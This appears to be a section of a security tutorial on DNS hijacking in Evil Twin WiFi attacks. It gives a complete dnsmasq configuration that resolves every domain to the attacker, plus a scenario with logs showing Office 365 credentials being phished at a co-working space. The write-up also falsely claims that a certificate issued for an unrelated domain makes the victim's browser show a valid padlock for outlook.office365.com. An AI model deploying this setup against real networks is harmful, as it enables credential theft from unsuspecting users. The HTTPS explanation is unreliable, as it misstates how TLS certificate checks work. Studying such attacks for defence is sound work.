id="how-it-works" id="how-dns-hijacking-works">How DNS Hijacking Works

When you connect to a WiFi network and your device gets its IP configuration via DHCP, it also receives the address of a DNS server. In a normal setup, this is the router's IP or the ISP's DNS server. In a DNS hijacking setup, the attacker has already configured their dnsmasq to respond to all DNS queries with the attacker's own IP address.

Normal DNS Resolution: [Your Device] ──DNS query: google.com──→ [8.8.8.8] (Google DNS) [Your Device] ←──IP: 142.250.185.46 ───── [8.8.8.8] [Your Device] ──HTTPS──→ 142.250.185.46 [Google Server] DNS Hijacked Resolution: [Your Device] ──DNS query: google.com──→ [192.168.1.1] (Attacker's Evil Twin) [Your Device] ←──IP: 192.168.1.1 ───────── [192.168.1.1] (Attacker's server) [Your Device] ──HTTPS──→ 192.168.1.1 [Attacker's phishing server] [Attacker's server] ───proxies──→ Google (for HTTPS, if desired) [Victim types google.com, sees google.com, but is at attacker's server]

dnsmasq Configuration for DNS Hijacking

dnsmasq is the standard tool for DNS hijacking in Evil Twin attacks. It simultaneously acts as the DHCP server (assigning IPs to victims) and DNS server (resolving all domain names to the attacker's IP).

$ cat /etc/dnsmasq.conf



# Interface bound to the attacker's AP interface

interface=wlan1



# DHCP: Assign IPs from this range

dhcp-range=192.168.1.100,192.168.1.200,12h



# Tell victims the gateway is the attacker's IP

dhcp-option=3,192.168.1.1



# Tell victims DNS is the attacker's IP

dhcp-option=6,192.168.1.1



# Catch-all DNS: resolve EVERY domain to attacker's IP

address=/#/192.168.1.1



# Logging for analysis

log-queries

log-dhcp

log-facility=/var/log/dnsmasq.log



$ sudo systemctl start dnsmasq

[All DNS queries from connected victims now resolve to attacker]

Real Scenario: Redirecting to a Phishing Site

Attacker "Marco" is at a co-working space in Singapore. He runs Mana Toolkit + dnsmasq as above. When victims connect to his Evil Twin and try to visit their corporate email (outlook.office365.com), dnsmasq returns 192.168.1.1 — Marco's phishing server.

Marco's phishing server serves a perfect copy of the Microsoft login page. It uses a valid SSL certificate (Let's Encrypt, for marco-phishing.io). The victim's browser shows the padlock. The URL shows outlook.office365.com (because Marco's DNS told the victim's browser to go to his IP, and the URL was set to match).

$ tail -f /var/log/dnsmasq.log

query[A] outlook.office365.com from 192.168.1.147

[redirected to 192.168.1.1]

query[A] login.microsoftonline.com from 192.168.1.147

[redirected to 192.168.1.1]

query[A] www.linkedin.com from 192.168.1.147

[redirected to 192.168.1.1]



[Victim enters credentials: attacker@acmecorp.com / Password123!]

[POST captured] email=attacker%40acmecorp.com&pass=Password123%21

[Credentials saved to /var/log/phishing.log]

[Victim redirected to real Microsoft — and logs in successfully]

[Victim never knows their credentials were just stolen]